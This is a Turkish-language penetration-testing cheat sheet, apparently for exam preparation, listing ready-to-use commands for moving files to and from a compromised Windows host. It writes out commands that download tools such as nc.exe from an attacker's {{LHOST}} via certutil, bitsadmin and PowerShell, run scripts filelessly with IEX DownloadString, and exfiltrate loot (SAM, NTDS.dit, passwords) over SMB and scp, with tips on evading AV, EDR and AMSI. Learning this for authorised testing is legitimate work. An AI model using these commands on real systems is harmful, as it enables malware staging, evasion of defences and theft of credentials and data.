FOOTHOLD Metodoloji Cheat-sheet
Post ✓ EXAM-SAFE kolay :445:80:443

Windows Dosya Transferi (Victim'e indir / Victim'den çek)

Foothold sonrası Kali'den Windows hedefe (ve geri) dosya taşımanın tüm yolları: certutil -urlcache, PowerShell Invoke-WebRequest / DownloadFile / DownloadString, bitsadmin, impacket-smbserver + copy, wget.exe, base64 kopyala-yapıştır ve scp. Her yöntem farklı bir AV/ağ kısıtı altında işe yarar.

Bilgi: ÖN KOŞULLAR
  • Hedef üzerinde komut çalıştırma (RCE veya shell)
  • Kali tarafında bir HTTP/SMB sunucusu veya erişilebilir {{URL}}
┌──

Komutlar

python3 ✓ EXAM-SAFE
python3 -m http.server 80
Kali tarafında basit HTTP sunucusu (transfer kaynağı). {{LHOST}}:80 üzerinden sunulur. HackTricks — Exfiltration / Serving files
impacket-smbserver ✓ EXAM-SAFE
impacket-smbserver share ./ -smb2support -username {{USER}} -password {{PASS}}
Kali'de SMBv2 destekli, kimlik doğrulamalı paylaşım. Modern Windows anonim SMB'yi reddettiği için kullanıcı/parola şart. WADComs — impacket-smbserver
certutil ✓ EXAM-SAFE
certutil -urlcache -split -f http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe
LOLBAS certutil ile HTTP üzerinden dosya indirme. -split -f cache'i bypass eder. LOLBAS — Certutil.exe
powershell ✓ EXAM-SAFE
powershell -c "Invoke-WebRequest -Uri http://{{LHOST}}/nc.exe -OutFile C:\Windows\Temp\nc.exe"
PowerShell IWR ile indirme (PS 3.0+). En yaygın yöntem. HackTricks — Windows File Transfer
powershell ✓ EXAM-SAFE
powershell -c "(New-Object Net.WebClient).DownloadFile('http://{{LHOST}}/nc.exe','C:\Windows\Temp\nc.exe')"
WebClient.DownloadFile — eski PowerShell sürümlerinde de çalışır, daha hızlı. HackTricks — Windows File Transfer
powershell ✓ EXAM-SAFE
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/script.ps1')"
DownloadString ile script'i diske yazmadan bellekte çalıştırma (fileless). HackTricks — Windows File Transfer
bitsadmin ✓ EXAM-SAFE
bitsadmin /transfer job /download /priority high http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe
BITS servisi üzerinden indirme — bazı EDR'lerde IWR'den daha az dikkat çeker. LOLBAS — Bitsadmin.exe
cmd ✓ EXAM-SAFE
copy \\{{LHOST}}\share\nc.exe C:\Windows\Temp\nc.exe
impacket-smbserver paylaşımından doğrudan SMB ile kopyalama. Net use ile kimlik girilebilir. HackTricks — Windows File Transfer (SMB)
cmd ✓ EXAM-SAFE
copy C:\Users\victim\loot.zip \\{{LHOST}}\share\loot.zip
Victim'den Kali'ye veri çekme (exfil) — aynı SMB paylaşımına geri yazma. HackTricks — Windows File Transfer (SMB)
wget.exe ✓ EXAM-SAFE
wget.exe http://{{LHOST}}/nc.exe -O C:\Windows\Temp\nc.exe
Statik wget.exe binary'si hedefe taşındığında kullanışlı (certutil/PowerShell engelliyse). HackTricks — Windows File Transfer
certutil ✓ EXAM-SAFE
certutil -encode loot.bin loot.b64
Kali/victim'de dosyayı base64'e çevir; çıktıyı kopyala-yapıştır ile shell üzerinden taşı (ağ transferi yoksa). LOLBAS — Certutil.exe
powershell ✓ EXAM-SAFE
powershell -c "[IO.File]::WriteAllBytes('C:\Windows\Temp\nc.exe',[Convert]::FromBase64String('TVqQAAM...'))"
Base64 string'i hedefte binary'ye geri yazma — ağsız/kopyala-yapıştır transferi tamamlar. HackTricks — Windows File Transfer (base64)
scp ✓ EXAM-SAFE
scp loot.zip {{USER}}@{{LHOST}}:/home/{{USER}}/loot.zip
Hedefte OpenSSH client varsa (Win10+ opsiyonel özellik) scp ile Kali'ye exfil. HackTricks — Windows File Transfer (SSH)

Genel Mantık

Foothold aldıktan sonra çoğu zaman bir araç (nc.exe, winPEAS, PrintSpoofer, mimikatz) hedefe taşımak ya da loot’u (SAM, NTDS.dit, parola dosyaları) Kali’ye çekmek gerekir. Tek bir yöntem her ortamda çalışmaz: AV certutil’i flag’leyebilir, firewall HTTP’yi kapatmış olabilir, modern Windows anonim SMB’yi reddeder. Bu yüzden birkaç bağımsız tekniği hazır tutmak gerekir.

1. HTTP tabanlı indirme (en kolay)

Kali’de python3 -m http.server 80 başlat, hedefte sırasıyla şu seçenekleri dene:

  • PowerShell IWR — PS 3.0+ standart yolu.
  • WebClient.DownloadFile — eski makinelerde ve daha hızlı transfer için.
  • certutil -urlcache — PowerShell kısıtlıysa LOLBAS klasiği; ancak imzalı olduğu için bazı AV’ler bunu izler.
  • bitsadmin — BITS servisi meşru güncelleme trafiği gibi göründüğünden bazen daha sessizdir.

2. Fileless çalıştırma

Script’i diske hiç yazmadan çalıştırmak için IEX(New-Object Net.WebClient).DownloadString(...) kullanılır. winPEAS yerine PowerUp.ps1 gibi .ps1 araçlarda idealdir; diskte iz bırakmaz ve AMSI bypass ile birleştirilebilir (bkz. help-amsi).

3. SMB ile çift yönlü transfer

impacket-smbserver modern Windows için -smb2support ve mutlaka -username/-password ile başlatılmalı; aksi halde “anonymous logins are not allowed” hatası alınır. Hedefte önce net use \\{{LHOST}}\share /user:{{USER}} {{PASS}} ile bağlanıp ardından copy kullanılır. Aynı paylaşıma geri yazarak exfiltration yapılır — loot’u çekmenin en pratik yolu budur.

4. Ağ yokken: base64 kopyala-yapıştır

Hiçbir port açılamıyorsa (çok kısıtlı shell), dosyayı certutil -encode ile base64’e çevirip shell çıktısından kopyala, hedefte [Convert]::FromBase64String + WriteAllBytes ile geri kur. Küçük binary’ler için yeterli.

5. scp / SSH

Win10+ üzerinde OpenSSH client kuruluysa scp ile doğrudan Kali’ye exfil mümkündür. Hedefte SSH server açıksa Kali’den de çekilebilir.

Notlar

  • Yazma izni olan dizinleri tercih et: C:\Windows\Temp, C:\Users\Public. C:\Windows\System32 genelde yazılamaz.
  • AV bir yöntemi engellerse paniğe kapılma; LOLBAS yöntemini değiştir (certutil → bitsadmin → IWR). [UNVERIFIED] hangi tekniğin flag’leneceği hedef AV’ye bağlıdır.
  • Transfer sonrası Get-FileHash ile bütünlüğü doğrula (özellikle base64 transferlerinde).
┌──

Kaynaklar

0/15 set